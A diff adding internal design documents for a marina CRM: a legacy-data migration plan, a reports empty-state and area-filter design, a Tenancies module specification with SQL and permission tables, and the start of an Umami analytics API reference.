+From `_nc_m2m_Berths_Interests` (83 links) → `interest_berths` via
+`interestBerthsService`. `is_primary` = the `Berth Number` plain-text mooring
+(or first link); `is_in_eoi_bundle` = true for signed/sent EOIs. Resolve berth
+by mooring against the migrated 117 berths.
+
+### 3.5 Notes
+
+`Internal Notes` + `Extra Comments` (and `nc_comments`) → `interestNotes` via
+`notes.service`, preserving original timestamps where present.
+
+### 3.6 Residential
+
+`Interests (Residences)` (45) → `residential_clients` + `residential_interests`
+(dedup by email). The 2nd residential base (16 rows) is **excluded** (stale).
+
+### 3.7 Expenses
+
+`Expenses` base (165) → the expenses module. Map Time→date, Payer→payer,
+Category→category, Price (string `"€1,234"`)→numeric+currency. Receipts linked
+in Phase 2 (the `Receipts` images live in MinIO).
+
+### 3.8 Website submissions + settings
+
+Website Interest/Contact/BerthEOI subs → `website_submissions`. `reminder_settings`
+/`alert_settings` → best-effort into `system_settings`.
+
+## 4. Stage mapping (8 → 7) — NEEDS SIGN-OFF
+
+Legacy `Sales Process Level` → new pipeline stage (proposed):
+
+| Legacy                          | New stage                   |
+| ------------------------------- | --------------------------- |
+| General Qualified Interest      | `qualified`                 |
+| Specific Qualified Interest     | `nurturing`                 |
+| EOI and NDA Sent                | `eoi`                       |
+| Signed EOI and NDA              | `eoi` (EOI signed)          |
+| Made Reservation                | `reservation`               |
+| Contract Negotiation            | `reservation` → `contract`? |
+| Contract Negotiations Finalized | `contract`                  |
+| Contract Signed                 | `contract` (won)            |
+
+Open questions for Matt: (a) is "General Qualified Interest" really `qualified`
+or should some map to `enquiry`? (b) does "Contract Negotiation" belong in
+`reservation` or `contract`? (c) treat `Contract Signed` as a closed-won
+outcome?
+
+## 5. Phase 2 — documents & EOIs (MinIO inventoried 2026-06-01)
+
+Documents live in **three** MinIO buckets (verified):
+
+- **`client-portal`** (248 objects, 240 MB) — cleanly foldered: `Berth-PDFs/`
+  (114, mooring in filename), `EOIs/` (95 signed EOIs foldered by client name),
+  `Client Documents/` (6), `Legal/` (14), `expense-sheets/` (2),
+  `client-emails/` (3 sent-email JSONs keyed `interest-<id>`).
+- **`signatures`** (323) — Documenso's raw per-envelope store (many test dupes —
+  secondary source).
+- **`database`** — NocoDB's own attachment store at
+  `database/nc/uploads/noco/plplouets5zw1um/mbs9hjauug4eseo/cjzx7y2h9sxwd0n/…`
+  (field `cjzx7y2h9sxwd0n` = `EOI_Document`). **This is where the pre-Documenso
+  ("before/aside") signed EOIs live**, as NocoDB attachments.
+
+**EOI coverage — verified, no missing signed EOI.** Of 255 interests, 48 are
+EOI-signed; every one resolves to a recoverable PDF:
+
+1. **~38 via `documensoID`** → `Envelope.secondaryId='document_'||id` →
+   completed PDF (+ curated copy in `client-portal/EOIs/<name>/`).
+2. **~10 old LOI-process deals** (no documensoID, `LOI=Signing Complete`) →
+   `EOI_Document` attachment in the **`database`** bucket.
+3. **3 via explicit `S3_Documenso_Path`** → `client-portal/EOIs/`.
+
+Backfill order per deal: prefer the curated `client-portal/EOIs/` copy → fall
+back to Documenso (by secondaryId) → then the NocoDB `database` attachment. Each
+→ store via `getStorageBackend()` → `files`+`documents` rows → `ensureEntityFolder`.
+Still run a file↔deal reconciliation to flag orphan EOI files + confirm each
+envelope PDF actually downloads.
+
+4. **Berth PDFs:** `client-portal/Berth-PDFs/` (114) → `berth_pdf_versions`
+   (mooring parsed from filename).
+5. **Receipts / business cards:** NOT in `client-portal` — likely in `forms`/
+   `images`/`directus` buckets (OpnForm uploads). Hunt only if wanted.
+6. Unresolved → manual-review CSV.
+
+### ⚠ Crossover gate — in-flight Documenso signings
+
+Documenso currently holds **6 PENDING** (sent, awaiting signature) + **6 DRAFT**
+envelopes (of 58 total; 46 COMPLETED). PENDING: Thomas Nemic (2026-02-04), Davy
+Morée (2025-11-28), Matthew Ciaccio (2025-11-24), Ben Sturge (2025-10-11), Van
+der Merwe (2025-10-02), Charles Davis (2025-08-22) — most stale/likely abandoned,
+only one from 2026. **Before the Documenso upgrade/crossover, review these:** void
+the dead ones, let any genuine one finish — don't strand an active signature.
+
+## 6. Verification & reconcile
+
+**Validated run (2026-06-01, `extract-nocodb.ts`):** 255 interests → **232
+unique clients** (1.10×; 21 with >1 deal roll up correctly), 39 yachts, 84
+deal↔berth links (12 multi-berth), 63 notes. Stages 8→7: qualified 171 · eoi 51
+· nurturing 30 · reservation 2 · contract 1. **EOI coverage 48/48 resolvable.**
+Signing state (Documenso-authoritative): signed 48 · **awaiting_signature 3**
+(interests 581/633/639 → migrate as "awaiting" + keep envelope link + display
+pending) · none 204. Duplicate review: 1 exact-name (Etiennette Clamouze ×2), 0
+fuzzy. Residential 45→35. Expenses 165 (0 parse fails). Output →
+`private/migration-output/` (gitignored).
+
+**In-flight signing display:** the 3 `awaiting_signature` deals load with the
+interest's EOI state = sent/awaiting + the Documenso envelope linked, so the new
+CRM's webhook/poll completes them and the UI shows "Waiting for signatures."
+Reconcile the 6 Documenso PENDING: 3 link to deals (in-flight above); 3 are
+abandoned re-sends of already-signed deals → void-review before crossover.
+
+Remaining: spot-check 5 deals end-to-end after load.
+
+## 7. Deliverables (scripts/migration/)
+
+- `probe-minio.ts` — bucket inventory (Phase 2 sizing; answers "are the
+  business cards there?").
+- `extract-nocodb.ts` — read the snapshot, emit normalized JSON per entity.
+- `transform-load.ts` — dedup + map + load via service helpers, idempotent.
+- `backfill-documents.ts` — Phase 2 EOI/PDF/receipt backfill.
+- `reconcile.ts` — final report.
+
+## 8. Decisions locked (2026-06-01)
+
+- Scope = the 2 active bases only; 9 others excluded; email/Keycloak out.
+- Extract via read-only pg_dump snapshot (done).
+- No company entities (legacy has none).
+- Idempotent, keyed on `legacy_nocodb_id`.

docs/superpowers/specs/2026-06-02-reports-polish-design.md

@@ -0,0 +1,154 @@
+# Reports polish — beta-finish design
+
+**Date:** 2026-06-02
+**Initiative:** Launch-readiness Initiative 1 (Reports overhaul) — "Reports — what's left" gap audit.
+**Goal (locked with user):** make the reports surface _feel finished for beta_ — every report opens cleanly even on an empty port, plus a modest, obviously-useful Operational filter. Not a deep power-filtering pass.
+
+## Scope
+
+Two pieces:
+
+1. **Report-level empty states** across Sales · Operational · Financial — one friendly "add X to see this" hero when the port has no underlying data, instead of a page scattered with per-chart "No data" badges.
+2. **Operational Area filter** — a single berth-area multi-select that scopes the whole Operational report's berth-derived surfaces.
+
+### Out of scope (deferred, recorded in launch-readiness)
+
+- **Status filter** on Operational — turned out to be a _light_ filter here (can't retro-apply to historical trend charts; the vacant lists are available-by-definition). Defer until there's a general berth-inventory table where Status is genuinely useful.
+- Other Operational dimensions (tenure type, document type).
+- Rep / source filters on Operational — they don't map (berths have no assigned rep; tenancies have no lead source).
+- Custom-builder, scheduling, and template gaps from the same audit.
+
+## Decisions locked
+
+| Question                      | Decision                                                                              |
+| ----------------------------- | ------------------------------------------------------------------------------------- |
+| Polish goal                   | "Make reports feel finished for beta" (empty states + modest filter)                  |
+| Operational filter dimensions | Area + Status chosen → **narrowed to Area only** after the Status-is-light finding    |
+| Operational filter reach      | **Approach A — berth scope**: filters re-query the berth-derived surfaces server-side |
+| Status handling               | **Drop for now**; ship Area as the real scope                                         |
+
+---
+
+## Piece 1 — Report-level empty states
+
+### Data flow
+
+Each report's GET route adds one field, `hasData: boolean`, to its `data` payload. It is a **window-independent, port-scoped existence check** (ignores the selected date range) via a tiny `SELECT 1 … LIMIT 1` helper per report:
+
+- **Sales** (`/api/v1/reports/sales`) → does the port have **any** `interests` row?
+- **Operational** (`/api/v1/reports/operational`) → does the port have **any** `berths` row?
+- **Financial** (`/api/v1/reports/financial`) → does the port have **any** `payments` row **or** **any** `expenses` row?
+
+Window-independence is the design crux: it distinguishes a _brand-new port_ (show the onboarding hero) from _a port with history but nothing in the selected 30 days_ (show the normal report, whose per-chart empty states already degrade gracefully). Client-side inference from the payload can't tell those two apart — hence a server flag.
+
+### Component
+
+New `src/components/reports/shared/report-empty-state.tsx`:
+
+```tsx
+interface ReportEmptyStateProps {
+  icon: LucideIcon;
+  title: string;
+  body: string;
+  actionLabel: string;
+  actionHref: Route;
+}
+```
+
+A centered hero: named Lucide icon, title, one-line body, primary `Button` → `Link`. Visual language extends the existing inline `EmptyState` in `sales-report-client.tsx` (muted, centered) but elevated to full-report scale (more vertical padding, larger icon). Lives in `reports/shared/` so all three clients import it. No decorative emoji — named icon components only.
+
+### Client wiring (3 report clients)
+
+After the query resolves: if `data && data.hasData === false`, render `<ReportEmptyState .../>` in place of the report body. **Keep the `PageHeader`** so the page retains its title; disable the export/template buttons (no data to export). Keep skeletons while `query.isLoading`.
+
+### Copy + targets
+
+Plain text, no emoji.
+
+| Report      | Icon         | Title                       | Body                                                                                                       | Action → href                               |
+| ----------- | ------------ | --------------------------- | ---------------------------------------------------------------------------------------------------------- | ------------------------------------------- |
+| Sales       | `TrendingUp` | "No sales activity yet"     | "Once you add clients and log interests, this report fills with win rates, pipeline value, and deal heat." | "Add an interest" → `/[portSlug]/interests` |
+| Operational | `Anchor`     | "No berths yet"             | "Add berths to see utilisation, occupancy, and signing turnaround."                                        | "Add berths" → `/[portSlug]/berths`         |
+| Financial   | `Wallet`     | "No financial activity yet" | "Record a payment on a deal or log an expense to see revenue, deposits, and cash flow."                    | "Go to expenses" → `/[portSlug]/expenses`   |
+
+---
+
+## Piece 2 — Operational Area filter (Approach A: berth scope)
+
+### Parsing
+
+New pure, unit-tested module `src/lib/services/reports/operational-filters.ts`, mirroring `sales-filters.ts`:
+
+- `OperationalFilters = { areas?: string[] }` — extensible shape (Status can be added later without a rename).
+- `parseOperationalFilters(params: URLSearchParams): OperationalFilters | undefined` — reads the `area` CSV param as a free list (port-defined strings; Drizzle parameterizes the downstream `inArray`, so unvalidated values are injection-safe). Empty/whitespace entries dropped. Returns `undefined` when no areas → no filter.
+
+### Area options
+
+New `getOperationalAreaOptions(portId: string): Promise<string[]>` — `SELECT DISTINCT area FROM berths WHERE port_id = ? AND area IS NOT NULL ORDER BY area`. Returned in the payload as `areaOptions` (mirrors Sales' `repOptions`). The shared `FilterBar` auto-hides a multi-select with no options, so the Area control simply doesn't render for a port with no areas defined.
+
+### Where Area applies
+
+Area is a **scope** over the berth-derived surfaces. It threads into these service fns as an optional `filters?: OperationalFilters` arg, adding `inArray(berths.area, filters.areas)` when present (index-backed by `idx_berths_area`):
+
+- `getOperationalKpis` (berth counts: total / sold % / under-offer %)
+- `getOccupancyByArea`
+- `getUtilisationHeatmap`
+- `getVacantBerths`
+- `getHighestValueVacant`
+
+**Left port-wide (unfiltered):** status-mix-over-time trend, tenancy churn / tenure / ending-soon, signing box plot, documents-in-pipeline, stuck-signing. A small caption ("Scoped to {areas}") appears on the filtered cards; the port-wide panels are visually unchanged.
+
+### UI
+
+The Operational report adds the shared `FilterBar` with a **single Area multi-select**, placed at the **top of the report next to the `DateRangePicker`** — because Area scopes the whole report (unlike Sales, where the FilterBar sits above the detail tables because it only scopes those tables). The Operational report currently has no FilterBar; this introduces it.
+
+### Template config
+
+The Operational template config (`{ kind: 'operational', range, statusMixMode }`) gains `filters: { areas?: string[] }` so a saved template round-trips its area scope. Changing the area clears the active-template badge (same pattern as `handleRangeChange` / Sales `handleFilterChange`); applying a template restores it via the raw setter.
+
+---
+
+## Files
+
+**New (4):**
+
+- `src/lib/services/reports/operational-filters.ts` — `parseOperationalFilters` + `getOperationalAreaOptions`
+- `src/components/reports/shared/report-empty-state.tsx` — shared hero
+- `tests/unit/reports/operational-filters.test.ts`
+- `tests/unit/reports/report-has-data.test.ts` — the three existence helpers
+
+**Modified (~10):**
+
+- `src/app/api/v1/reports/sales/route.ts` — `+ hasData`
+- `src/app/api/v1/reports/operational/route.ts` — `+ hasData`, `+ areaOptions`, parse + thread area filter
+- `src/app/api/v1/reports/financial/route.ts` — `+ hasData`
+- `src/components/reports/sales/sales-report-client.tsx` — empty-state wiring
+- `src/components/reports/operational/operational-report-client.tsx` — empty-state + FilterBar/area scope + template config
+- `src/components/reports/financial/financial-report-client.tsx` — empty-state wiring
+- `src/lib/services/reports/operational.service.ts` — optional `filters` on 5 fns + area-options query + `operationalHasData(portId)` helper
+- `src/lib/services/reports/sales.service.ts` — `salesHasData(portId)` helper
+- `src/lib/services/reports/financial.service.ts` — `financialHasData(portId)` helper
+
+Each `hasData` helper lives in its report's service file alongside that report's other queries (consistent with the existing one-service-per-report layout), and is the single existence check the route awaits in its `Promise.all`.
+
+- `docs/launch-readiness.md` — mark the empty-state + Operational-filter items shipped
+
+## Testing (TDD)
+
+Write tests first:
+
+1. `parseOperationalFilters` — single area, CSV multi, whitespace trimming, empty → `undefined`, no `area` param → `undefined`.
+2. The three `hasData` helpers — return `false` for a port with no rows, `true` once a row exists, correct port isolation.
+
+Then implement to green, then browser-verify on `port-nimara`:
+
+- Area multi-select renders, narrows occupancy-by-area + vacant lists + berth-count KPIs; port-wide panels unchanged; "Scoped to {area}" caption shows.
+- Empty-state heroes render for an empty port (force `hasData=false` if `port-nimara` has data) with correct copy + working action links.
+- `pnpm exec tsc --noEmit` clean; affected unit tests green.
+
+## Edge cases
+
+- Berths with `area = NULL` — excluded from `areaOptions`; an active area filter hides them (correct: they're not in any selected area).
+- Area filter matching nothing → filtered surfaces fall back to their existing per-chart empty states (NOT the report-level hero, because the port _does_ have data).
+- `hasData` ignores the date window entirely — a port with old-but-real data never shows the onboarding hero.
+- Export/template buttons disabled in the empty-state view (nothing to export).

docs/tenancies-design.md

@@ -0,0 +1,302 @@
+# Tenancies Module Design
+
+> **Status:** Design doc. All Q-block decisions locked 2026-05-24 via AskUserQuestion + a follow-up platform-wide module-enabled rule locked 2026-05-25 in the alpha UAT master doc. Implementation phased into discrete PRs at the end.
+
+## Vocabulary split (the foundational decision)
+
+The pipeline-stage `reservation` + the signed `Reservation Agreement` **keep their names** — they describe the _right being reserved_, not the _occupancy that results_.
+
+The occupancy record (`berth_reservations` table + sidebar + entity tabs + top-level page) is **renamed Tenancy**:
+
+| Concept                                      | Lives in                                              | Name (post-rename)                  |
+| -------------------------------------------- | ----------------------------------------------------- | ----------------------------------- |
+| Pipeline stage where the rep targets a berth | `interests.pipelineStage`                             | `reservation` (unchanged)           |
+| The signed legal document                    | `documents` w/ `documentType='reservation_agreement'` | `Reservation Agreement` (unchanged) |
+| The record of who's tied up at a berth       | `tenancies` (was `berth_reservations`)                | **Tenancy**                         |
+
+A signed Reservation Agreement → results in a Tenancy.
+
+---
+
+## Platform-wide module-enabled rule
+
+The entire Tenancies module surface is **hidden by default**.
+
+A sold berth stays sold without any tenancy data — the platform does not assume tenancies exist for sold berths. The module only surfaces when EITHER:
+
+- **(a) at least one `tenancies` row exists** for the port (lazy auto-enable on first creation, including auto-create from a signed Reservation Agreement), OR
+- **(b) an admin has explicitly enabled it** via `system_settings.tenancies_module_enabled` (default `false`).
+
+### When disabled
+
+- Sidebar entry hidden
+- Client / Yacht / Berth `Tenancies` tab hidden
+- All four reporting widgets hidden from dashboard registry
+- Top-level `/{portSlug}/tenancies` page returns 404
+- `handleDocumentCompleted` still mints pending tenancies on a signed `reservation_agreement` — we intentionally do NOT gate the auto-create branch on the module flag, because the resulting row is what lazily surfaces the module on a fresh port (rule (a) above). The CRM surface stays hidden until that first insert lands; from then on, both rules (a) and (b) are satisfied.
+
+### When enabled
+
+Full module surfaces.
+
+### Admin toggle
+
+Admin → Operations → "Tenancies module" Switch:
+
+- **Helper copy:** "When enabled, the platform tracks who occupies each berth (Tenancies). Without it, sold berths stay sold but the platform doesn't model the occupancy record."
+- **Warning on disable with rows:** Modal — "This will hide N existing tenancies. Data is preserved but invisible until re-enabled. Continue?"
+- **Auto-enable on first insert:** The first row INSERT on `tenancies` flips `tenancies_module_enabled=true` in the same transaction (`pg_advisory_xact_lock` per port to avoid races).
+- **Never auto-disables.**
+
+---
+
+## Data model
+
+### Rename migration
+
+```sql
+-- 008X_rename_reservations_to_tenancies.sql
+ALTER TABLE berth_reservations RENAME TO tenancies;
+
+-- Self-FKs for renewals + transfers.
+ALTER TABLE tenancies
+  ADD COLUMN previous_tenancy_id text REFERENCES tenancies(id) ON DELETE SET NULL,
+  ADD COLUMN transferred_from_tenancy_id text REFERENCES tenancies(id) ON DELETE SET NULL;
+
+CREATE INDEX tenancies_previous_id_idx ON tenancies(previous_tenancy_id) WHERE previous_tenancy_id IS NOT NULL;
+CREATE INDEX tenancies_transferred_from_id_idx ON tenancies(transferred_from_tenancy_id) WHERE transferred_from_tenancy_id IS NOT NULL;
+```
+
+Schema TypeScript also renames: `src/lib/db/schema/reservations.ts` → `tenancies.ts`, `berthReservations` → `tenancies`. Adjust all imports.
+
+### `tenure_type` discriminator (unchanged from existing union)
+
+`permanent | fee_simple | strata_lot | seasonal | fixed_term`
+
+Behaviour by type:
+
+| `tenure_type` | Renewals                                        | Public map flip             |
+| ------------- | ----------------------------------------------- | --------------------------- |
+| `permanent`   | Mutate existing row (one record forever)        | Sets `berths.status='sold'` |
+| `fee_simple`  | Mutate existing row                             | Sets `berths.status='sold'` |
+| `strata_lot`  | Mutate existing row                             | Sets `berths.status='sold'` |
+| `seasonal`    | New row each cycle, `previous_tenancy_id` links | No status flip — temporary  |
+| `fixed_term`  | New row each cycle, `previous_tenancy_id` links | No status flip — temporary  |
+
+### Transfers
+
+Two-step operation:
+
+1. End old tenancy: `UPDATE tenancies SET status='ended', end_date=transfer_date WHERE id=:old`.
+2. Mint new tenancy: `INSERT INTO tenancies (..., transferred_from_tenancy_id=:old) VALUES (...)` for the new client.
+
+Both steps in one transaction; same berth, different client. Preserves history.
+
+### Module-enabled setting
+
+Add to `src/lib/settings/registry.ts`:
+
+```ts
+{
+  key: 'tenancies_module_enabled',
+  section: 'operations.tenancies',
+  label: 'Tenancies module',
+  description: 'When enabled, the platform tracks who occupies each berth (Tenancies). Without it, sold berths stay sold but the platform does not model the occupancy record.',
+  type: 'boolean',
+  defaultValue: false,
+  scope: 'port',
+}
+```
+
+### Permissions
+
+Three new perms in `src/lib/db/seed-permissions.ts`:
+
+| Perm               | Default ON for                                                             | Notes                                                                  |
+| ------------------ | -------------------------------------------------------------------------- | ---------------------------------------------------------------------- |
+| `tenancies.view`   | super_admin, director, sales_manager, sales_agent, finance_manager, viewer | Read access.                                                           |
+| `tenancies.manage` | super_admin, sales_manager, sales_agent                                    | Create / mutate / transfer.                                            |
+| `tenancies.cancel` | super_admin, sales_manager                                                 | Cancel only. Carved out because cancellation has revenue implications. |
+
+Every Tenancies surface respects both `tenancies.view` AND `tenancies_module_enabled` — the module-enabled gate is checked first.
+
+---
+
+## Webhook auto-create branch
+
+Inside `handleDocumentCompleted` (`src/lib/services/documents.service.ts`):
+
+```ts
+// After signedFileId is committed + post-completion email queues, branch:
+if (doc.documentType === 'reservation_agreement') {
+  const moduleEnabled = await isTenanciesModuleEnabled(doc.portId);
+  if (moduleEnabled) {
+    await autoCreatePendingTenancies(doc.portId, doc.interestId, {
+      signedAt: completedAt,
+      sourceDocumentId: doc.id,
+      userId: 'system',
+    });
+  }
+  // Stage advance + reservationDocStatus flip happen regardless.
+}
+```
+
+`autoCreatePendingTenancies` loops over `interest_berths WHERE interest_id = :interestId AND is_in_eoi_bundle = TRUE` and inserts ONE tenancy row per in-bundle berth (locked Q4 decision: "one tenancy per in-bundle berth"). Status `pending`; rep confirms `startDate` + `tenureType` in a follow-up modal before `pending → active`. Default `startDate = signed date` when not on the doc.
+
+The first insert in a port flips `tenancies_module_enabled=true` (lazy auto-enable).
+
+---
+
+## Public map status flip
+
+`src/lib/services/berths.service.ts` (status precedence resolver):
+
+```
+sold > under_offer > available
+
+Sold can come from:
+  1. berths.status = 'sold' (explicit admin set)
+  2. An active tenancy with tenure_type IN ('permanent', 'fee_simple', 'strata_lot') exists for this berth
+```
+
+The new branch (2) only fires when `tenancies_module_enabled = true`. When disabled OR the only active tenancies are `seasonal` / `fixed_term`, fall through to existing precedence (under_offer / available based on interest links).
+
+Reversal: when an active permanent-class tenancy ends + no replacement is active for the same berth, the auto-derived `sold` lifts. Explicit `berths.status='sold'` (admin-set) stays sold.
+
+---
+
+## Sidebar entry
+
+`src/components/layout/sidebar.tsx`: add `Tenancies` entry below `Berths`, gated by:
+
+- `tenancies.view` permission
+- `tenancies_module_enabled = true` (resolved server-side; SSR'd into the sidebar so it never flickers in)
+
+Icon: `KeyRound` from lucide.
+
+---
+
+## Top-level page — `/{portSlug}/tenancies`
+
+Returns 404 when module disabled. When enabled:
+
+- Filters: status (active / pending / ended / cancelled), tenure_type, berth-area, client search.
+- Columns: Berth · Client · Yacht · Tenure type · Status · Start · End · Last renewal.
+- Row actions: Open detail · Edit · Renew (tenure-type aware) · Transfer · End / Cancel.
+- Bulk actions: End multiple (with `tenancies.cancel`).
+- "+ New tenancy" CTA top-right (gated on `tenancies.manage`).
+
+---
+
+## Entity-tab CTAs
+
+On Client / Yacht / Berth detail pages, the existing read-only tenancies tab gets a refreshed empty state when module is enabled but no rows exist:
+
+```
+┌─────────────────────────────────────────────────────────────────┐
+│  [icon] No tenancies yet                                        │
+│                                                                 │
+│  This <client/yacht/berth> doesn't have any tenancies on file.  │
+│                                                                 │
+│  [ Create tenancy ]  (only when user has tenancies.manage)      │
+└─────────────────────────────────────────────────────────────────┘
+```
+
+The "Create tenancy" button opens a pre-filled `<TenancyCreateDialog>` with the parent entity already selected. Berth context pre-fills berth_id, Client pre-fills client_id, Yacht pre-fills yacht_id.
+
+When `tenancies_module_enabled = false`: the whole tab is hidden (entity tabs registry gates).
+
+---
+
+## Reporting widgets (all four, all module-gated)
+
+Locked Q7: ship all four in v1, every one gated by `tenancies_module_enabled`.
+
+1. **Occupancy heatmap by month** — Per-berth-area grid: rows = berth areas, columns = months for the active date range, cell shade = % months occupied. Data from `tenancies.startDate / endDate` overlap with each month.
+2. **Renewals at risk (next 90 days)** — Table of active tenancies whose `endDate IS NOT NULL AND endDate <= now() + 90d AND` no successor row exists yet. Click-through opens the tenancy with "Renew" CTA pre-focused.
+3. **Revenue forecast by tenure expiry** — Forward projection per quarter: sum of berth-price × remaining-tenure for active rows; bucketed by quarter ending date. Highlights revenue cliffs.
+4. **Tenancy by tenure type breakdown** — Donut + table of active tenancies grouped by `tenure_type`. Operational mix at a glance.
+
+Each widget registers in `src/components/dashboard/widget-registry.tsx` with:
+
+```ts
+{
+  id: 'tenancy_occupancy_heatmap',
+  label: 'Occupancy heatmap',
+  render: (range) => <TenancyOccupancyHeatmap range={range} />,
+  group: 'chart',
+  defaultVisible: true,
+  selfGates: true,
+  requires: 'tenancies_module',  // new gating channel
+}
+```
+
+The `tenancies_module` integration check resolves to `tenancies_module_enabled === true`. When false → widget filtered out of both the dashboard render AND the customize picker.
+
+---
+
+## Service layer additions
+
+`src/lib/services/berth-tenancies.service.ts` (renamed from `berth-reservations.service.ts`):
+
+- `listTenancies({ portId, filters, page })` — gated read.
+- `createTenancy(portId, data, meta)` — mints a row; also triggers the module-enable flip on first insert.
+- `updateTenancy(portId, id, data, meta)`.
+- `renewTenancy(portId, id, data, meta)` — picks mutate-in-place vs new-row branch based on `tenure_type`.
+- `transferTenancy(portId, id, newClientId, transferDate, meta)`.
+- `cancelTenancy(portId, id, reason, meta)` — gated on `tenancies.cancel`.
+- `endTenancy(portId, id, endDate, meta)`.
+- `autoCreatePendingTenancies(portId, interestId, opts)` — webhook auto-create branch.
+
+`src/lib/services/tenancies-module.service.ts` (new):
+
+- `isTenanciesModuleEnabled(portId)` — checks setting OR `EXISTS (SELECT 1 FROM tenancies WHERE port_id = $1)` to surface the lazy state.
+- `enableTenanciesModule(portId, meta)` — admin-driven enable.
+- `disableTenanciesModule(portId, meta)` — admin-driven disable; the warning copy lives in the admin UI.
+
+---
+
+## API surface (`/api/v1/tenancies/*`)
+
+All routes gated on `tenancies.view` (read) or `tenancies.manage` / `tenancies.cancel` (write). Each handler additionally calls `assertTenanciesModuleEnabled(portId)` first — returns 404 when off (matches the sidebar/top-level page behaviour).
+
+| Verb  | Path                                     | Permission              |
+| ----- | ---------------------------------------- | ----------------------- |
+| GET   | `/api/v1/tenancies`                      | `tenancies.view`        |
+| GET   | `/api/v1/tenancies/[id]`                 | `tenancies.view`        |
+| POST  | `/api/v1/tenancies`                      | `tenancies.manage`      |
+| PATCH | `/api/v1/tenancies/[id]`                 | `tenancies.manage`      |
+| POST  | `/api/v1/tenancies/[id]/renew`           | `tenancies.manage`      |
+| POST  | `/api/v1/tenancies/[id]/transfer`        | `tenancies.manage`      |
+| POST  | `/api/v1/tenancies/[id]/end`             | `tenancies.manage`      |
+| POST  | `/api/v1/tenancies/[id]/cancel`          | `tenancies.cancel`      |
+| GET   | `/api/v1/admin/tenancies-module/status`  | `admin.manage_settings` |
+| POST  | `/api/v1/admin/tenancies-module/enable`  | `admin.manage_settings` |
+| POST  | `/api/v1/admin/tenancies-module/disable` | `admin.manage_settings` |
+
+---
+
+## Phased PR plan
+
+| PR                                         | Scope                                                                                                                                                                                                                                                                                                                                  | Effort | Ships independently                                                            |
+| ------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------ | ------------------------------------------------------------------------------ |
+| **P1: Rename migration + perms + setting** | `008X_rename_reservations_to_tenancies.sql` + self-FKs + seed `tenancies.view`/`.manage`/`.cancel` + `tenancies_module_enabled` registry entry. Schema files renamed. ALL imports updated. **No behaviour change** — module starts disabled, so reps don't see anything new.                                                           | ~6 h   | Yes (silent rename; existing consumers keep working through the renamed table) |
+| **P2: Module-enabled gating infra**        | `tenancies-module.service.ts` + admin Operations page Switch + lazy-flip logic + permission helper that combines `tenancies.view` AND module-enabled.                                                                                                                                                                                  | ~4 h   | Yes (admin can toggle; rest of app honors the flag)                            |
+| **P3: Webhook auto-create branch**         | `autoCreatePendingTenancies` + unconditional branch in `handleDocumentCompleted` (no module gate — the inserted row is what surfaces the module via the row-exists fallback in `isTenanciesModuleEnabled`). Vitest covering: first signing on a fresh port surfaces the module; replay is idempotent; stage still advances regardless. | ~5 h   | Yes (back-compat — pre-existing reservation flows keep working)                |
+| **P4: Public-map status flip rules**       | Status resolver in `berths.service.ts` honors active permanent-class tenancies. Vitest for precedence + module-off behaviour.                                                                                                                                                                                                          | ~3 h   | Yes                                                                            |
+| **P5: Sidebar entry + top-level page**     | Sidebar mounts the Tenancies entry behind both gates. New `/{portSlug}/tenancies/page.tsx` with the listing table + filters. 404 when module disabled.                                                                                                                                                                                 | ~6 h   | Yes (visible to super_admin first; sales reps see it once perms seed)          |
+| **P6: Entity tab refresh + Create dialog** | Friendly empty state + "Create tenancy" CTA on Client / Yacht / Berth tabs. `<TenancyCreateDialog>` pre-fills from parent context. Edit / Renew / Transfer / End dialogs follow the same idiom.                                                                                                                                        | ~8 h   | Yes                                                                            |
+| **P7: Reporting widgets**                  | All four widgets — occupancy heatmap, renewals at risk, revenue forecast, tenure type breakdown — all module-gated via `selfGates: true` + `requires: 'tenancies_module'`.                                                                                                                                                             | ~10 h  | Yes                                                                            |
+
+Total: ~42 h spread across 7 PRs.
+
+---
+
+## Open follow-ups (intentionally deferred past v1)
+
+- **Auto-invoicing on tenancy lifecycle.** Locked: v1 ships READ-ONLY — no auto-invoice on tenancy create / renew / end. Revisit once we see how ports actually use the tenancy data.
+- **Strict-block duplicate-tenancy toggle.** Locked: out of scope. No admin-configurable "block creating a tenancy if one already exists for this berth." Keep dead-simple now.
+- **Warning for closed-outcome siblings.** Out of scope.
+- **Cross-tenant warnings.** Out of scope (already enforced by `port_id` constraints).
+
+Capture in `docs/BACKLOG.md` after P5 ships.

docs/umami-api-capabilities.md

@@ -0,0 +1,189 @@
+# Umami v2 / v3 API capabilities — reference for flesh-out planning
+
+**Verified against:** analytics.portnimara.com (Umami v3.1.0), 2026-05-19.
+**Auth:** username/password → JWT via `POST /api/auth/login`, Bearer on every request, 1h TTL (we cache 55min).
+**Companion code:** `src/lib/services/umami.service.ts` (currently wraps stats/pageviews/metrics/active).
+
+Endpoints below are listed by topic area, with what we currently use, what's available but unused, and where it could plug into the CRM.
+
+---
+
+## 1. Stats & traffic snapshots — `/api/websites/:id/stats`
+
+**Currently used.** Returns the flat aggregate over the requested window plus a `comparison` block for the prior window of equal length.
+
+```json
+{
+  "pageviews": 2081, "visitors": 726, "visits": 872,
+  "bounces": 457, "totaltime": 109519,
+  "comparison": { "pageviews": 1935, "visitors": 642, ... }
+}
+```
+
+**Unused fields we could surface:**
+
+- `totaltime` — total seconds on site → derive avg session time (`totaltime / visits`).
+- `bounces / visits` → bounce-rate KPI.
+- Period-over-period deltas (already wired for trend arrows, but the _full_ comparison object has more we could use for a "what changed since last period" panel).
+
+**Filters supported** (per Umami docs, mostly untested by us): `url`, `referrer`, `title`, `query`, `event`, `host`, `os`, `browser`, `device`, `country`, `region`, `city` — meaning every stats call can be sliced. **Big unlock:** show stats for a specific landing-page URL on the berth detail (e.g. `/berths/A12` stats), or filter by referrer to see which channels drove signed EOIs.
+
+---
+
+## 2. Time-series — `/api/websites/:id/pageviews`
+
+**Currently used** for the trend chart. Returns `{pageviews: [{x, y}], sessions?: [{x, y}]}` (sessions only when `compare` is requested).
+
+**Parameters:** `startAt`, `endAt`, `unit` (`year|month|day|hour`), `timezone`, `compare` (untapped), `filters` (untapped).
+
+**Unused:** `compare=prev` gives the same series for the previous period — could power a dual-line "vs last period" overlay on the chart.
+
+---
+
+## 3. Top-N metrics — `/api/websites/:id/metrics`
+
+**Currently used** for Top Pages / Referrers / Countries (limit 10). Returns `[{x, y}]`.
+
+**Available `type` values** (we surface 4, Umami offers 17):
+
+| Type                        | What it returns            | CRM use case                                              |
+| --------------------------- | -------------------------- | --------------------------------------------------------- |
